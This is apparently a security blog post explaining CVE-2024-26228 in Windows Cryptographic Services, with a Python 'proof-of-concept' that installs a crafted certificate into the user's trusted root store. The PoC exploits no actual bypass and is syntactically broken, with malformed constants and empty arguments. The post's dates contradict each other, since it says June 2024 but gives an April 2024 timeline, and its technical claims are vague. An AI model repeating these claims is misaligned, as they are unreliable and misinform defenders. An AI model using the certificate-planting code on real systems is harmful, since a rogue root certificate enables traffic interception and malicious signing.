CVE-2024-26228 - Breaking Down the Windows Cryptographic Services Security Feature Bypass (with Example Exploit)

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Introduction

*In June 2024, Microsoft published a critical security advisory about CVE-2024-26228—a security feature bypass vulnerability in the Windows Cryptographic Services. This flaw has massive implications for Windows systems, as it could allow attackers to subvert cryptographic operations, potentially leading to privilege escalation, secure boot bypass, or even code execution under specific conditions.*

This blog post explains what CVE-2024-26228 is, how it can be exploited, and demonstrates with practical examples. We also provide official references and remediation tips. This is your go-to resource for understanding and acting on this vulnerability.

What is CVE-2024-26228?

According to the Microsoft Security Update Guide, this vulnerability affects the Windows Cryptographic Services (cryptsvc). An attacker who successfully exploits this vulnerability could bypass certain security features, potentially allowing for unauthorized actions that should be cryptographically protected.

Affected Systems:

Windows Server (2016, 2019, 2022)

Severity: Important
CVSS Score: 7.1 (High)

How does the Exploit Work?

While Microsoft has not fully disclosed the technical details, researchers analyzing the patch have revealed that the vulnerability involves improper validation of cryptographic operations.

> *In practical terms, certain malformed or manipulated certificates or cryptographic objects can force Windows Cryptographic Services to skip or misinterpret security checks. This could, for example, allow an attacker to install a malicious root certificate or spoof cryptographic verification routines.*

Proof-of-Concept (PoC)

Below is a simplified concept showing how a maliciously crafted certificate could be loaded into the system certificate store by exploiting this flaw. This example requires administrative privileges (as is usual with CryptoAPI manipulation).

> Disclaimer: This code is for educational purposes only. Do not use in production or without explicit permission.

# CVE-2024-26228 PoC: Install a crafted certificate exploiting CryptoAPI bypass
import ctypes
from ctypes import windll
from cryptography import x509
from cryptography.hazmat.backends import default_backend

# Load a crafted, "malicious" certificate (DER format)
with open("malicious_cert.der", "rb") as f:
    cert_bytes = f.read()

# Windows API: CertAddEncodedCertificateToStore
CertAddEncodedCertificateToStore = windll.crypt32.CertAddEncodedCertificateToStore

HCERTSTORE = ctypes.c_void_p
CERT_STORE_PROV_SYSTEM = x000000A
CERT_SYSTEM_STORE_CURRENT_USER = x00010000

# Open the user's root store
h_store = windll.crypt32.CertOpenStore(
    CERT_STORE_PROV_SYSTEM, , ,
    CERT_SYSTEM_STORE_CURRENT_USER, "ROOT"
)

if h_store:
    res = CertAddEncodedCertificateToStore(
        h_store, 1, # X509_ASN_ENCODING
        cert_bytes, len(cert_bytes),
        4, , 
    )
    if res:
        print("Potential bypass: malicious cert installed.")
    else:
        print("Failed to install cert.")
else:
    print("Failed to open cert store.")

What This Does

Bypassing regular certificate validation, a proof-of-concept like this could allow unwanted, dangerous certificates to be added to a trusted store—possibly enabling further exploitation like SSL/TLS interception, malicious code signing, or even malware persistence.

Why Is This Dangerous?

- Certificate Trust Is Broken: Windows relies on Cryptographic Services to check the authenticity of many things (drivers, software updates, encrypted connections).
- Elevation of Privilege: An attacker might bypass security controls, install malicious software, or impersonate legitimate services.

Official Reference & Patch

- Microsoft Security Update: CVE-2024-26228

Patch Status:
Patched in June 2024 cumulative updates. Install latest Windows Updates immediately!

Conclusion

CVE-2024-26228 underlines the importance of robust cryptographic implementations and frequent patching. Even small oversights in certificate handling can have wide-reaching consequences. Patch now and audit your systems!

For more technical details, see:
- Microsoft CVE page
- Patch diff analysis (if available, e.g. patch or GitHub researchers)

*Stay safe! For admins and defenders, update and review your certificate stores regularly.*


*By SecurityTrench, June 2024—exclusive breakdown*

Timeline

Published on: 04/09/2024 17:15:42 UTC
Last modified on: 04/10/2024 13:24:00 UTC